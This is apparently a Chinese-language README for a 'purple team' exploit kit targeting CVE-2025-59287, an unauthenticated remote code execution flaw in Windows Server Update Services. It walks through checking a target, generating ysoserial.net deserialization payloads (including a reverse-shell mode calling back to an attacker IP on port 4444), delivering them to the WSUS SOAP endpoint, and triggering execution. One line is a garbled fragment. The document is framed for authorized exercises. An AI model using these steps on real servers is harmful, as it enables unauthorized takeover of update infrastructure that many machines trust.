紫色团队练习脚本,演示CVE-2025-59287,一个通过将恶意反序列化载荷注入WSUS数据库实现的未经授权的WSUS远程代码执行漏洞。
针对 CVE-2025-59287(Windows Server Update Services 中的未认证远程代码执行漏洞)的紫队演练脚本。
仅限授权使用。 仅用于受控演练环境,针对你拥有或获得明确书面许可的系统。
该漏洞利用可匿名访问的 WSUS SOAP 端点,将恶意的反序列化负载注入 WSUS 数据库。当 WSUS 管理控制台打开或触发同步时,负载将执行。
8530ysoserial\Release\ 文件夹中(参见设置)wsus-cve-2025-59287/
├── 1-check.ps1 # 验证目标是否存在漏洞
├── 2-generate.ps1 # 生成序列化负载 blob
├── 3-deliver.ps1 # 将负载投递到 WSUS 服务器
├── 4-verify.ps1 # 验证执行情况并清理
├── ysoserial/ # 在此放置 ysoserial.net 发行版(不提交)
│ └── Release/
│ └── ysoserial.exe
└── README.md
克隆或下载仓库。添加 ysoserial.net,使路径匹配 ysoserial\Release\ysoserial.exe。
从以下位置下载 ysoserial.net: https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 此操作默认会触发 Windows Defender 警报
所有脚本均从仓库根目录运行。
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"
文件放置(无需监听器,建议优先使用):
.\2-generate.ps1 -Mode filedrop
反弹 Shell:
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"
在 WSUS 服务器上,通过“开始 > Windows Server Update Services”打开管理控制台,或通过 PowerShell 触发同步:
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()
验证执行情况:
.\4-verify.ps1
验证并清理所有工件:
.\4-verify.ps1 -Cleanup
通过攻击机管理共享进行操作:
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup
清理完成后,在 WSUS 控制台的“计算机”下移除演练计算机。